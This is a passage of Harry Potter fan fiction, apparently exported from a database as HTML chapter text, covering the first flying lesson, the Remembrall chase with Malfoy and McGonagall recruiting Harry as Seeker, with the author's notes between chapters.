turning the twig into a needle, but then melted it when he tried to turn it back.</p>\n\n<p>For Ron, lunch always seemed too short, but for Harry the time crawled by.</p>\n\n<p>\' Will you stop that, Harry?!\' Ron finally snapped when Harry asked to see Ron\'s watch for the third time in one minute.</p>\n\n<p>Harry had a watch, but since it was powered by electricity, the charms surrounding Hogwarts stopped it from working; he and Ron used Ron\'s watch instead which was powered by magic.</p>\n\n<p>\' If you keep checking the time it\'s only going to make it seem like it\'s taking even longer!\' Ron said in an exhausted tone.</p>\n\n<p>Harry smiled grimly and said \' You&#8217;re right.&#8217; He rested his forehead on his palms and let out a small sigh.</p>\n\n<p>Two whole minutes later&#8230;</p>\n\n<p>&#8216; Jeez! I guess I know what to get <i>you</i> for Christmas!&#8217; Ron exclaimed. &#8216; And NO, it&#8217;s STILL not time to go to our last class yet!&#8217;</p>\n\n<p>By this time many of the other students had left to spend the rest of their free time doing homework and such, and a small area around Ron and Harry had cleared out as people tried to stay away from Ron&#8217;s outbursts and Harry&#8217;s annoying tapping on the table.</p>\n\n<p>Harry finally decided that it was getting ridiculous. He could tell that he was really annoying Ron now, even though Ron WAS known for being easy to annoy. Resting his head in his hands once more, Harry closed his eyes and started breathing deeply. He stayed like that for the rest of lunch.</p>\n\n<p>When lunch ended and Ron tapped Harry on his shoulder to get ready for herbology, which was their last class before the flying lessons, Harry was feeling fine, and not anxious at all.</p>\n\n<p>When he and Ron got to the greenhouses where they had their class with the Slytherins, they found a note on the door telling them that their class had been cancelled as a special delivery had come in for Prof. Sprout that only she could take care of. Further, they were to report to the Quidditch field and wait for Madam Hooch.</p>\n\n<p>When Ron and Harry got to the playing field most of the class had already arrived and were talking in groups, speculating about what Prof. Sprout might have ordered. All of the Slytherins were on one side and the Gryffindors were on the other.</p>\n\n<p>Looking around Harry happened to notice Neville, who was off by himself, scratching his head and looking at a red ball in his hand. He tugged on Ron&#8217;s robes and nodded towards Neville, then looked pointedly at several Slytherins that were giving Neville some impish looks. Ron glared at the Slytherins.</p>\n\n<p>&#8216; What d&#8217;ya say we go and say &#8220;Hi!&#8221; to Neville?&#8217; Ron said through clenched teeth, all the while staring at the Slytherins.</p>\n\n<p>They walked over to Neville, who looked startled when Ron tapped the arm that he was holding the ball in.</p>\n\n<p>&#8216; What&#8217;cha got there, Neville?&#8217; Ron asked.</p>\n\n<p>&#8216; Oh, hi, Ron! It&#8217;s a Remembrall that my Gran sent me.&#8217; Neville said holding out the ball for them to see.</p>\n\n<p>What Ron and Harry had thought was a red ball turned out to be a glass ball with red smoke inside.</p>\n\n<p>&#8216; See, normally the smoke is white, but if you hold it, it&#8217;ll turn red if you&#8217;ve forgotten something.&#8217; Neville explained. &#8216; But it&#8217;s not really so helpful, because it can only tell you that you&#8217;ve forgotten something, but not what it is that you&#8217;ve forgotten.&#8217;</p>\n\n<p>Ron, Neville and Harry talked for a while about the transfiguration test they&#8217;d had and other work they had to do, until finally Madam Hooch showed up, with her wand raised and about twenty broomsticks following her.</p>\n\n<p>She walked to the middle of the field, and pointed her wand at the ground, muttering something under her breath. The brooms that had been following her settled to the ground in rows where she had pointed.</p>\n\n<p>As Madam Hooch started walking around to each broom, presumably checking its charms, Hermione walked over to Harry, Neville and Ron. For once she looked worried about something. She started babbling about the different things that she had read about that might help you fly better, and Neville was hanging on her every word. Harry was also listening intently to everything Hermione said; he figured he was listening in case she had read something that he had missed in the library. Ron was just shaking his head and muttering about silly gits that tried to learn to fly from a book.</p>\n\n<p>As much as Harry was actually enjoying listening to Hermione, he had already read everything that she had, and he was starting to agree with Ron; experience was the only way to learn to fly.</p>\n\n<p>&#8216; Hermione, calm down.&#8217; Harry said gently, putting a hand over hers, which she was wringing. &#8216; You know Ron&#8217;s right. You really <i>can&#8217;t</i> learn to fly through theory alone, so what you read in books probably won&#8217;t be much help until you learn the basics through practice.&#8217;</p>\n\n<p>Both Hermione&#8217;s and Neville faces fell at this. Harry hadn&#8217;t intended to make them feel bad, of course, and he suddenly felt nauseous seeing Hermione&#8217;s crushed face.</p>\n\n<p>&#8216; Well I don&#8217;t know what you two are so worried for. It&#8217;s not like flying a broom is required to graduate, or even just to get around.&#8217; Harry said, trying to cheer Hermione up (he figured Neville would always be worried about <i>something</i>). &#8216; Unless you get on the Gryffindor Quidditch team you won&#8217;t need to fly until you graduate, and by then you&#8217;ll be allowed to learn to Apparate. Which you <i>can</i> learn from a book.&#8217;</p>\n\n<p>When Harry finished, his stomach felt better and Hermione looked happy again, but Harry was starting to worry about something else now. At lunch he had begun to think that he might be sick since he didn&#8217;t feel hungry after Transfiguration, and just now he had felt sick one moment and fine the next, but he was beginning to think that it might be something else if the feelings could come and go so quickly. Perhaps it was Malfoy using some sort of curse on him; after all, Malfoy <i>had</i> been present each time, so far.</p>\n\n<p>Before Harry could pursue that train of thought, Madam Hooch blew her whistle, and waved all the students to gather around her.</p>\n\n<p>She stood for a moment, studying them with her hawk like eyes. She took note of Neville&#8217;s pale face, and Hermione biting her bottom lip and wringing her hands.</p>\n\n<p>&#8216; Alright!&#8217; she finally said, clapping her hands once. &#8216; Everyone line up beside a broom. Come on now, hurry up!&#8217;</p>\n\n<p>Everyone rushed to find brooms that <i>didn&#8217;t</i> look like they were about to fall apart. Harry looked down at his. It was old and some of the twigs stuck out at odd angles, but it seemed okay otherwise.</p>\n\n<p>&#8216; Now, hold your hand out over the middle of your broomstick, and shout, up!&#8217; Madam Hooch told them once they were all lined up and had quieted down.</p>\n\n<p>All around Harry everyone was shouting &#8220;Up!&#8221;, but only a few brooms rose off the ground. Most brooms just twitched and lay still, and some, like Neville&#8217;s, didn&#8217;t do anything at all.</p>\n\n<p>Thinking of how wonderful it would be to be able to fly high and fast, Harry held out his hand and said &#8216; Up.&#8217;, in a normal voice.</p>\n\n<p>Almost before he had finished saying it, the broom was in his hand. It hadn&#8217;t even seemed to move; one moment it was lying on the ground and the next it was in his hand, without any time seeming to have elapsed in between.</p>\n\n<p>Beside him, Ron&#8217;s broom was in his hand, but seemed like it wanted to fall back to the ground.</p>\n\n<p>Madam Hooch was now going around, shaking her head, and generally having a hard time with getting each broom to obey each student. Harry reached out and tapped Neville on the shoulder. Neville was in front of Harry and was looking pleased that his broom wouldn&#8217;t fly for him, but also embarrassed about it.</p>\n\n<p>&#8216; Hey, Neville.&#8217; Harry hissed at him. &#8216; You&#8217;ve got to calm down, and forget about everything else. Don&#8217;t even worry about getting the broom to fly, alright?&#8217;</p>\n\n<p>Of course, Neville looked confused at this advice. &#8216; Don&#8217;t try to make it fly?&#8217; he asked, looking more puzzled than usual.</p>\n\n<p>&#8216; Yeah. You&#8217;re not <i>supposed</i> to make the broom fly. The broom is enchanted to do that, <i>you</i> just need to control when and <i>how</i> it fly&#8217;s. Just think about how peaceful and calming it would be to float up in the sky.&#8217; Harry said in a calming voice.</p>\n\n<p>Neville closed his eyes with his hand still over his broom, which started to twitch. His breathing slowed, and he looked as calm as Harry had ever seen him. Then, without any instruction from Neville, the broom floated gently up to his hand.</p>\n\n<p>&#8216; Now what?&#8217; Neville asked, with his eyes still tightly shut.</p>\n\n<p>Harry almost smiled then he said &#8216; Now close your hand, and open your eyes.&#8217;</p>\n\n<p>Doing as Harry said, Neville gasped and dropped the broom in shock. The broom fell to the ground again, but Neville was still delighted; for once he hadn&#8217;t been the last to accomplish a difficult task.</p>\n\n<p>&#8216; You should be able to get it now.&#8217; Harry told him., as someone tapped his shoulder.</p>\n\n<p>His stomach did a little flip when he turned around to see Hermione there, face pink in embarrassment.</p>\n\n<p>&#8216; Excuse me, Harry, I&#8217;m sorry to interrupt, but I was wondering if you could help me?&#8217; she asked. &#8216; I&#8217;m afraid you were right. All the books I read only had tips for people that could at least get the broom to float, but I&#8217;ve been having some trouble- and Madam Hooch seems to be taking quite a while&#8230; so could you?&#8217; she finished, looking rather annoyed at having to ask for help from a student. She never minded asking the professors for help, but she didn&#8217;t like to admit that she couldn&#8217;t do something that many other students could.</p>\n\n<p>&#8216; Sure!&#8217; Harry said, a bit too quickly and a bit too loud. &#8216; I mean, what&#8217;s the matter?&#8217; he continued in a more normal voice.</p>\n\n<p>Hermione explained that she didn&#8217;t really know <i>what</i> the problem was, but all her broom would do was twitch and roll over, but it couldn&#8217;t get off the ground.</p>\n\n<p>The two stood on either side of Hermione&#8217;s broom. &#8216; Okay, now do what you did before.&#8217; Harry told Hermione.</p>\n\n<p>She held out both her hands over the broom, and said &#8220;Up!&#8221; in a commanding tone.</p>\n\n<p>Harry smiled in amusement as the broom&#8217;s handle jerked up towards one hand and then the other before falling back down.</p>\n\n<p>&#8216; First off, are you going to lead your broom with your left hand or your right?&#8217; Harry asked, but Hermione only shrugged. &#8216; Okay then, I want you to slap me.&#8217;</p>\n\n<p>Hermione&#8217;s eyes widened. &#8216; But I couldn&#8217;t do <i>that</i>!&#8217; she gasped.</p>\n\n<p>&#8216; Don&#8217;t worry you won&#8217;t hurt me. I&#8217;ve had worse after all. I mean, Snape&#8217;s class alone!&#8217; Harry joked.</p>\n\n<p>&#8216; You really shouldn&#8217;t talk like that about professors, Harry.&#8217; Hermione scolded, but she was trying to hide a smile.</p>\n\n<p>&#8216; Well professors shouldn&#8217;t act like he does, but we&#8217;re getting off track. Now I don&#8217;t want you to think at all. This is <i>very</i> important. Just pretend you&#8217;re <i>really</i> angry, and then try and hit me-&#8216; Harry cut off as Hermione swung at him without warning.</p>\n\n<p>Harry easily caught her wrist, being careful not to hurt her. She looked startled that Harry had done this, but also relieved.</p>\n\n<p>&#8216; Now, &#8216; Harry said, still holding her hand. &#8216; this is how you want to put your fingers.&#8217; He continued, moving her fingers for her into the shape that the most recent book he had read suggested for beginners.</p>\n\n<p>He looked up from her hand to her face, to make sure she got everything he was telling her, just as she looked up as well. Their eyes locked for a moment and Harry&#8217;s stomach twisted into several knots. They finally snapped out of it, and Harry let go of Hermione&#8217;s hand, as if it were burning him.</p>\n\n<p>&#8216; Uh&#8230; I guess you can try it again now.&#8217; Harry mumbled, trying not to blush or look away from Hermione.</p>\n\n<p>Hermione seemed to snap out of a trace and said &#8216; Uh- yeah.&#8217; Then she held her hand out again, with her other hand by her side.</p>\n\n<p>&#8216; Up!&#8217; she said, with a much better result. This time the broom handle flew into her hand, but it smacked into it with such force that she cried out in pain and dropped the broom once more.</p>\n\n<p>Her cry had attracted Madam Hooch&#8217;s attention, and she came running over to see what was wrong. She put a simple numbing spell on Hermione&#8217;s hand, which was fine except for being a bit sore. Then Madam Hooch had Hermione demonstrate what she had been doing and started working on Hermione&#8217;s form as she had been with the other students. Harry slipped away from the two and went back to his broom.</p>\n\n<p>Ron and Dean Thomas had both been able to get their brooms to work after a few tries and had been arguing about football verses Quidditch ever since Harry went to help Neville. He listened in amusement for a while until Madam Hooch finished her rounds, commenting to Malfoy that he had been holding his broom wrong all his life, and that she would be surprised if half the stories he told about his flying skills were true. Malfoy&#8217;s face had gone several shades of red at this while Ron and a few other Gryffindors snickered.</p>\n\n<p>&#8216; Listen up everyone!&#8217; Madam Hooch called, from the front of the class. &#8216; Now, when I blow my whistle, you kick off from the ground, hard. Keep your brooms steady, rise a few feet, and then come straight back down by leaning forwards slightly. On my whistle- three- two-&#8216;</p>\n\n<p>But, Neville, nervous and jumpy and frightened of being left on the ground, pushed off hard before the whistle had touched Madam Hooch&#8217;s lips.</p>\n\n<p>&#8216; Come back, boy!&#8217; she shouted, but Neville was rising straight up like a cork shot out of a bottle &#8211; twelve feet &#8211; twenty feet. Harry saw his scared white face look down at the ground falling away beneath him, saw him gasp, slip sideways off the broom and &#8211;</p>\n\n<p><b>WHAM</b> &#8211; a thud and a nasty crack and Neville lay face down on the grass in a heap. His broomstick was still rising higher and higher and started to drift lazily towards the forbidden forest until Madam Hooch pointed at it with her wand, while still running towards Neville, and shouted &#8220; Accio!&#8221; The broom stopped floating aimlessly, and started flying straight at Madam Hooch, who was now bent over Neville.</p>\n\n<p>&#8216; Grab it when it comes in, will you, Potter?&#8217; madam Hooch shot at Harry.</p>\n\n<p>Realizing that she was talking about the broom Harry readied himself to jump on it to keep it from hitting Madam Hooch. Seeing what was happening, the other students backed away from Harry and made sure they weren&#8217;t standing between the broom and Madam Hooch.</p>\n\n<p>As Harry jumped up and grabbed the broom when it was coming in, Madam Hooch did something to Neville that brought him around, and she helped him to his feet.</p>\n\n<p>&#8216; Broken wrist to.&#8217; Harry heard Madam Hooch mutter to herself. &#8216; All right, boy, up you get. It&#8217;s all right, we&#8217;ll just take a trip to see Madam Pomfrey, and she&#8217;ll have you fixed up in a jiffy.&#8217;</p>\n\n<p>She turned to the rest of the class.</p>\n\n<p>&#8216; None of you is to move while I take this boy up to the hospital wing! You leave those brooms where they are or you&#8217;ll be out of Hogwarts faster than you can say &#8220;Quidditch&#8221;! Come on, dear.&#8217;</p>\n\n<p>Neville, his face tear-streaked, clutching his wrist, hobbled off with Madam Hooch, who had her arm around him.</p>\n\n<p>No sooner were they out of earshot than Malfoy burst into laughter.</p>\n\n<p>&#8216; Did you see his face, the great lump?!&#8217;</p>\n\n<p>The other Slytherins joined in.</p>\n\n<p>&#8216; Shut up, Malfoy.&#8217; Snapped Parvati Patil. (AN- Wahoo! Go Parvati!)</p>\n\n<p>&#8216; Ooh, sticking up for Longbottom?&#8217; said Pansy Parkinson, a hard-faced Slytherin girl. &#8216; Never thought <i>you&#8217;d</i> like fat little cry babies, Parvati.&#8217;</p>\n\n<p>&#8216; Look!&#8217; said Malfoy, darting forward and snatching something out of the grass. &#8216; It&#8217;s that stupid thing Longbottom&#8217;s gran sent him.&#8217;</p>\n\n<p>The Remembrall glittered in the sun as he held it up.</p>\n\n<p>&#8216; Give that here, Malfoy.&#8217; Harry said quietly. Everyone stopped talking to watch, and Harry could sense more than see that Ron was right behind him, silently backing Harry up.</p>\n\n<p>Malfoy smiled nastily.</p>\n\n<p>&#8216; I think I&#8217;ll leave it somewhere for Longbottom to collect &#8211; how about &#8211; up a tree?&#8217;</p>\n\n<p>&#8216; Give it <i>here</i>!&#8217; Harry yelled, but Malfoy had leapt onto his broomstick and taken off. He hadn&#8217;t been entirely untruthful, he <i>could</i> fly well &#8211; hovering level with the topmost branches of an oak he called, &#8216; Come and get it, Potter!&#8217;</p>\n\n<p>Harry mounted Neville&#8217;s broom, which he was still holding.</p>\n\n<p>&#8216; <i>No</i>!&#8217; shouted Hermione. &#8216; You&#8217;ll get hur- um, Madam Hooch told us not to move &#8211; you&#8217;ll get us all into trouble.&#8217;</p>\n\n<p>For once Harry ignored Hermione&#8217;s advice. Blood was pounding in his ears. He took off his mirror-plated glasses, since he only needed them for reading and other close-up work, and put them in a secure pocket of his robes. He then kicked hard against the ground and soared upwards. Air rushed through his hair and his robes whipped out behind him. In a rush of fierce joy, he realised he&#8217;d found something that he could do without being taught or reading about; in fact, all the reading he had done the night before had gone out of his head in a rush. It was easy, it was <i>wonderful!</i> He pulled his broomstick up a little to take it even higher and heard screams and gasps from the girls (of <u>both</u> houses) on the ground, as well as a &#8220;That&#8217;s my man!&#8221; from a cheering Ron.</p>\n\n<p>Harry whipped his broom around to face Malfoy, who looked stunned. Harry himself might have been stunned if he could have seen his face at that moment. Harry&#8217;s usual mask that hid his emotions was still in place, but his eyes burned with a cold inner fire. They alone expressed Harry&#8217;s fierce joy of experiencing flight, and ever more fierce anger towards Malfoy.</p>\n\n<p>&#8216; Give it here.&#8217; Harry called again. &#8216; Or I&#8217;ll knock you off that broom!&#8217;</p>\n\n<p>&#8216; Oh, yeah?&#8217; said Malfoy lamely, trying to pull himself together, but still looking worried.</p>\n\n<p>Harry knew, somehow, what to do. He leant forward slightly and grasped the broom in both hands and it shot towards Malfoy like a javelin. Malfoy only just got out of the way in time; Harry made a sharp about turn and held the broom steady. A few people below were clapping.</p>\n\n<p>(AN- I would like to take a moment to thank Nappa for his ideas for this next part. I wouldn&#8217;t have come up with it if it weren&#8217;t for him.)</p>\n\n<p>Malfoy now had a determined look about him, and Harry knew, from martial arts tournaments he had visited with Mr. Osakawa, that people who had that look would simply <i>not</i> give up. Harry didn&#8217;t know what to do. He didn&#8217;t want to hurt <i>any</i>one, even Malfoy, but he wanted &#8211; no &#8211; he <i>needed</i> to get the Remembrall back. Someone as kind and innocent as Neville didn&#8217;t deserve to be tormented by the likes of Draco Malfoy.</p>\n\n<p>Down below, Ron was getting worried. He knew Harry well enough to know that he wouldn&#8217;t let Malfoy get away with the Remembrall, but as much of a natural flier Harry seemed to be Malfoy still had the experience.</p>\n\n<p>Ron uttered a few choice words, causing Hermione to look at him with a scandalized expression.</p>\n\n<p>Feeling he needed to explain himself, Ron said &#8216; Harry&#8217;s not going to let Malfoy get away with the Remembrall, and Malfoy won&#8217;t let Harry show him up, so one of them is going to get hurt &#8211; <i>bad</i>.&#8217;</p>\n\n<p>Looking back up at the two boys facing off above Hermione bit her bottom lip, then made a decision, and pulled out her wand. Pointing it at one of the two, (Ron couldn&#8217;t tell who she was aiming for) Hermione shouted &#8216; Rictusempra!&#8217;</p>\n\n<p>Forty or fifty feet in the air over the class, everything was quiet except for the wind. Both Harry and Draco heard Hermione shout something, but neither could tell what had been said. They didn&#8217;t dare look away to see what was going on lest they give the other an advantage.</p>\n\n<p>Then, much to Harry&#8217;s surprise, Draco started to giggle, then he doubled over on his broom and &#8211; Harry couldn&#8217;t believe it &#8211; he started to <i>laugh</i>!</p>\n\n<p>At first Harry was worried that Draco would drop the Remembrall, but as it became apparent that Draco had no control over his laughter, Harry became more worried that Draco might fall off his broom. He was half right. Draco slipped off his broom, but managed to hold on with one leg and the hand that didn&#8217;t have the Remembrall in it. He stopped laughing quite quickly then, and was breathing heavily, his eyes wide. There was a new round of screams from the girls now, and a lot of swearing on the boys&#8217; behalf.</p>\n\n<p>Seeing that Malfoy was okay for the moment, Harry pressed his advantage.</p>\n\n<p>&#8216; Hand it over Malfoy, and then I&#8217;ll help you back to the ground.&#8217;, but mercy was the wrong idea right then.</p>\n\n<p>Malfoy&#8217;s face turned red in anger as he growled at Harry. &#8216; You want it so bad? Then go catch it!&#8217;</p>\n\n<p>With his free hand Malfoy threw the Remembrall at the ground. At the same time Harry shot forward to try and catch it, but saw that Malfoy&#8217;s sudden motion had caused him to start to lose his grip. Deciding that any life was more important than a Remembrall Harry did two things at once. He changed direction to head for Malfoy, while at the same time he pulled his wand from its holster on the side of his chest. As he closed in on Malfoy, who finally lost his grip completely, he said a spell, at the Remembrall, that he had only read about near the back of his charms text.</p>\n\n<p>&#8216; Impedmentia!&#8217; he shouted, as he let go with his other hand and swung himself under his broom, holding on to it and guiding it with only his legs.</p>\n\n<p>Even though Harry was only a few feet from Malfoy when he had actually fallen, Harry only caught up with him about twenty feet above the hard grounds of the Quidditch field. Harry made sure his legs were braced and grabbed both of Malfoy&#8217;s wrists. As soon as he did Malfoy gabbed Harry&#8217;s as well and Harry levelled off as fast as he dared. If he stopped them too quickly they would lose their grips, and Harry didn&#8217;t want Malfoy hurt that badly, even if he often said he did.</p>\n\n<p>They were still a good fifteen feet up when they were able to stop. Now that he was safe, Malfoy turned purple in rage and embarrassment. Seeing that no gratitude was forth coming Harry decided that he would do to Malfoy as Malfoy would undoubtedly do to Harry if the situations were reversed. Harry let go with one hand, thanking Mr. Osakawa&#8217;s insistence that Harry exercise regularly, otherwise he couldn&#8217;t have held Malfoy with one arm. He reached up with the free arm and steered towards the lake, ignoring Malfoy&#8217;s swearing and threats.</p>\n\n<p>When they were about fifteen feet out into the lake and ten feet above it, Harry let go of Draco&#8217;s other wrist and let him slip off. Malfoy thought better of continuing to yell at Harry and used the moments before he hit the water to draw a deep breath.</p>\n\n<p>Having taken care of Malfoy, Harry turned back to where he had last seen the Remembrall. Amazingly it was still thirty feet up and falling quite slowly. Harry hadn&#8217;t expected the spell to work and assumed he&#8217;d done it wrong because, from what he remembered of the charm, it wasn&#8217;t supposed to last even half as long as it had.</p>\n\n<p>Just as Harry started to fly towards it, the charm finally <i>did</i> wear off, and the ball started falling at a normal rate. Heading on an intercepting course, Harry leaned far forwards and dived. If flying had been wonderful, diving was for Harry what the Chudley Cannons winning the Quidditch cup would be for Ron. As much as Harry would have liked to savour the feeling, both he and the Remembrall were getting uncomfortably close to the ground. Harry rolled under his broom once again, but kept one hand on it this time, and levelled off with his head about two feet from the grass. As he flew by the impact point of the Remembrall, Harry reached out and was able to grab it about a foot before it would have smashed into the ground.</p>\n\n<p>He pulled up and righted himself then stopped and dismounted. All at once he noticed the sounds of cheering as the entire class &#8211; minus Malfoy, Crabbe and Goyle &#8211; rushed towards him. From the time that Harry had taken off until now, he had blocked out all other sounds, the cheering and laughter was a surprise, but what surprised him most was the way everyone suddenly stopped in their tracks and everything got quiet, except for Malfoy&#8217;s splashing as Crabbe and Goyle tried to pull him from the lake.</p>\n\n<p>&#8216; HARRY POTTER!&#8217;</p>\n\n<p>Harry pulled his glasses out and put them on as he turned to face what he assumed would be his expulsion, his heart sinking faster than Malfoy had plunged into the water.</p>\n\n<p>&#8216; <i>Never</i> &#8211; in all my time at Hogwarts &#8211;&#8216; McGonagall ground out as she stalked towards Harry.</p>\n\n<p>She was almost speechless with shock, and her glasses flashed furiously, &#8216; &#8211; how <i>dare</i> you &#8211; might have broken your neck &#8211; &#8216;</p>\n\n<p>&#8216; It wasn&#8217;t his fault, Professor &#8211;&#8216;</p>\n\n<p>&#8216; Be quiet, Miss Patil &#8211;&#8216;</p>\n\n<p>&#8216; But Malfoy &#8211;&#8216;</p>\n\n<p>&#8216; That&#8217;s <i>enough</i>, Mr. Weasley.&#8217; McGonagall snapped, becoming impatient. Looking around she noticed Malfoy&#8217;s absence. &#8216; Speaking of Mr. Malfoy, where is he?&#8217; she asked.</p>\n\n<p>Ron was trying to hard not to laugh to answer so it was Hermione who silently pointed behind Professor McGonagall at the spectacle of Malfoy, dripping wet, pulling himself out of the lake and ordering Crabbe and Goyle to leave him alone.</p>\n\n<p>Although McGonagall&#8217;s face didn&#8217;t change Harry heard her snort several times and shake as though she was doing her very best to keep from laughing at the sight.</p>\n\n<p>&#8216; I assume you have an appropriate explanation for what you were doing out in the lake, Mr. Malfoy?&#8217; McGonagall demanded, tapping her foot and glaring at Draco.</p>\n\n<p>Draco looked shocked for a moment, but then his eyes took on a triumphant look and he hid his smirk.</p>\n\n<p>&#8216; Well Potter there, dropped me in the lake m&#8217;am.&#8217; He said, trying his best to look abused and long suffering.</p>\n\n<p>&#8216; Oh, he did, did he?&#8217; asked McGonagall in a sceptical voice. &#8216; And would you like to explain how he managed to get you up above the water in the first place?&#8217;</p>\n\n<p>Draco didn&#8217;t have an answer for this so he just scowled at the ground in front of his feet and remained silent.</p>\n\n<p>&#8216; I thought so, fifty points from Slytherin Mr. Malfoy.&#8217;</p>\n\n<p>Draco looked up and started to protest, but thought better of it when he saw the look on McGonagall&#8217;s face.</p>\n\n<p>McGonagall turned to Harry. &#8216; Follow me Potter.&#8217;</p>\n\n<p>AN- Hey everybody. I apologise profusely. I know I said that I&#8217;d have this part out by New Year&#8217;s, but&#8230; well stuff happens. Stuff like my Grandmother&#8217;s funeral. She died just before Christmas, and I was a pallbearer at her funeral, so I think I deserve a little forgiveness for this chapter being so late.</p>\n\n<p>Anywho, enough with the gloomy stuff and excuses. I know where I&#8217;m going to go with my next chapter, but it&#8217;ll be longer take longer than even this chapter did due to massive amounts of homework that I have been putting off for FAR too long. But as always, your REVIEWS are what keep me alive and most importantly your advice. Whether it&#8217;s on the plot of the story or on my writing. So please send me compliments, but criticism is much appreciated!</p> '),
	(17, 15, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- I don&#8217;t have much to say right now&#8230; here&#8217;s the story&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8216; Oh, he did, did he?&#8217; asked\nMcGonagall in a sceptical voice. &#8216; And would you like to explain how he managed\nto get you up above the water in the first place?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Draco didn&#8217;t have an answer for\nthis, so he just scowled at the ground in front of his feet and remained\nsilent.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I thought so, fifty points from Slytherin Mr. Malfoy.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Draco looked up and started to\nprotest, but thought better of it when he saw the look on McGonagall&#8217;s face.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">McGonagall turned to Harry. &#8216;\nFollow me Potter.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry felt numb as he followed\nMcGonagall towards the castle. He was going to be expelled. He could hardly\nbelieve it. He would have liked to be able to say something, to protest at\nleast, but there was nothing he could say. He had disobeyed Madam Hooch, and he\nhad known the consequences of his actions before hand. He didn&#8217;t like that he\nwas to be expelled, but he accepted it as the consequence for his actions. The\nonly thing for him to do now was to worry about what he would do now that he\nwould no longer be allowed to train as a wizard.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When McGonagall finally stopped,\nHarry almost ran into her. He hadn&#8217;t expected her to stop here as they were\noutside a charms classroom, and Harry had assumed that she would be taking him\nto her office or to see Professor Dumbledore.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">McGonagall stuck her head in the\ndoor to speak to whatever Professor happened to be teaching.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Excuse me, Professor Flitwick, could I borrow Wood for a\nmoment?&#8217; Harry heard her ask.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">For a moment Harry thought wildly\nthat Wood might be a cane she was going to use on him. He would have taken it\nsmiling if it meant that he would be allowed to stay.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But Wood turned out to be a person,\na burly fifth year boy who came out of Flitwick&#8217;s class looking confused.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Follow me, you two.&#8217; Said Professor McGonagall, and they marched\non up the corridor, Wood looking curiously at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; In here.&#8217; McGonagall said shortly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She had led them to a classroom\nthat was empty, except for Peeves, who was busy writing rude words on the\nblackboard.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Out, Peeves!&#8217; McGonagall barked. Peeves threw the chalk into a\nbin and spun to face McGonagall with a nasty grin on his face, but upon seeing\nHarry he simply smirked at McGonagall and bounced out the door, blowing\nraspberries at them as he went.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">McGonagall closed the door, pointed\nher wand at it and whispered something. Then she pointed her wand at each of\nthe four walls in turn and whispered the same thing. The room suddenly seemed\nawfully quiet and stuffy to Harry, and he realized that McGonagall must have\nused some silencing spells. Harry was elated. She wouldn&#8217;t need to keep anyone\nfrom hearing if she had intended to expel him. Harry didn&#8217;t know what she was\ngoing to say that needed to be kept secret, but he was all for it if it meant\nthat he wasn&#8217;t to be expelled.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Potter, this is Oliver Wood.&#8217; McGonagall said turning to face\nthe two confused boys once more. &#8216; Wood &#8211; I&#8217;ve found you a seeker.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Wood&#8217;s expression turned instantly\nfrom puzzlement to delight.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Are you serious, Professor?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Absolutely.&#8217; Said McGonagall crisply. &#8216; The boy&#8217;s a complete\nnatural. I&#8217;ve never seen anything like it. Was that your first time on a\nbroomstick, Potter?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry nodded silently.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; He caught that thing in his hand after a thirty-foot dive.&#8217;\nMcGonagall told Wood. &#8216; Didn&#8217;t even scratch himself. Charlie Weasley couldn&#8217;t\nhave done it on the broom Harry used.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Wood was now looking like all his\ndreams had come true at once.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Ever seen a game of Quidditch, Potter?&#8217; he asked excitedly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Wood&#8217;s captain of the Gryffindor team.&#8217; Professor McGonagall\nexplained.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; He&#8217;s just he build for a Seeker too.&#8217; Said Wood, now walking\naround Harry and staring at him. &#8216; Light &#8211; speedy &#8211; we&#8217;ll have to get him a decent\nbroom, Professor &#8211; a Nimbus Two-Thousand or a Cleansweep Seven, I&#8217;d say.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I shall speak to Professor Dumbledore and see if we can&#8217;t bend\nthe first year rule. Heaven knows we need a better team than last year.\nFlattened in that last match by Slytherin, I couldn&#8217;t look Severus Snape in the\nface for weeks&#8230;&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">McGonagall peered sternly over her\nglasses at Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I want to hear you&#8217;re training hard, Potter, or I may change my\nmind about punishing you.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Then suddenly she smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Your father would have been proud.&#8217; She said. &#8216; He was 